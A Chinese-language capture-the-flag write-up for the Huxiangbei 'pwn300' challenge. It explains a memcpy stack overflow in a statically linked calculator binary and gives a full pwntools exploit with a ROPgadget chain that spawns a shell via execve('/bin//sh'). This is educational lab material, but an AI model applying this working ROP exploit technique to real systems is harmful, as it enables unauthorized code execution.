湖湘杯的pwn比赛很有趣,我做了pwn300的题目,感觉不错,我把wp分享出来,pwns的下载链接是:http://download.csdn.net/download/niexinming/10143408
把pwn300直接拖入ida中:
main函数:

add函数:

这个题目很有意思,首先开辟一个3到255大小的堆空间,然后做加减乘除的计算之后把计算结果放入堆中,最后可以把所有的计算结果用memcpy函数全部放入函数的临时变量v5中也就是栈中,这样就会造成栈溢出
先运行一下程序看一下这个程序干了啥:

再看看程序开启了哪些保护:

看到这个程序开了栈不可执行,于是肯定就会想到用rop来做
这个题目用ida打开之后发现有很多函数,所以判断这个题目是静态编译的

所以可以用http://blog.csdn.net/niexinming/article/details/78259866 中我提到的ROPgadget工具来做,不出意外,很成功的找了完整的rop链

这个题目还有个难点就是不能直接输入十六进制,所以根据http://blog.csdn.net/niexinming/article/details/78666941 我的这篇文件可以用ctypes.c_int32(0x123).value进行转换
所以我的exp是:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import binascii
import ctypes as ct
from struct import pack

context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048ff5'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

elf = ELF('/home/h11p/hackme/huxiangbei/pwn300')

io = process('/home/h11p/hackme/huxiangbei/pwn300')

p=[]

p.append( 0x0806ed0a)  # pop edx ; ret
p.append( 0x080ea060)  # @ .data
p.append( 0x080bb406)  # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('nib/')))
p.append( 0x080a1dad)  # mov dword ptr [edx], eax ; ret
p.append( 0x0806ed0a)  # pop edx ; ret
p.append( 0x080ea064)  # @ .data + 4
p.append( 0x080bb406)  # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('hs//')))
p.append(0x080a1dad)  # mov dword ptr [edx], eax ; ret
p.append(0x0806ed0a)  # pop edx ; ret
p.append(0x080ea068)  # @ .data + 8
p.append(0x08054730)  # xor eax, eax ; ret
p.append(0x080a1dad)  # mov dword ptr [edx], eax ; ret
p.append(0x080481c9)  # pop ebx ; ret
p.append(0x080ea060)  # @ .data
p.append(0x0806ed31)  # pop ecx ; pop ebx ; ret
p.append(0x080ea068)  # @ .data + 8
p.append(0x080ea060)  # padding without overwrite ebx
p.append(0x0806ed0a)  # pop edx ; ret
p.append(0x080ea068)  # @ .data + 8
p.append(0x08054730)  # xor eax, eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x08049781)  # int 0x80

tempnum=0
#debug()
io.recvuntil('How many times do you want to calculate:')
io.sendline('255')
for i in xrange(0,16):
    io.recvuntil('5 Save the result\n')
    io.sendline('1')
    io.recvuntil('input the integer x:')
    io.sendline(str(tempnum))
    io.recvuntil('input the integer y:')
    io.sendline('0')

for j in p:
    io.recvuntil('5 Save the result\n')
    io.sendline('1')
    io.recvuntil('input the integer x:')
    io.sendline(str(ct.c_int32(j).value))
    io.recvuntil('input the integer y:')
    io.sendline('0')

io.recvuntil('5 Save the result\n')
io.sendline('5')
io.interactive()
io.close()

注意一点就是,就是程序在return 0之前会调用free,而为了保证free函数的正常运行,前十六次计算的结果必须为0,后面的计算结果就可以随意了

最后getshell的效果是:

pwn300.zip (0.307 MB) 下载附件
源链接

Hacking more

...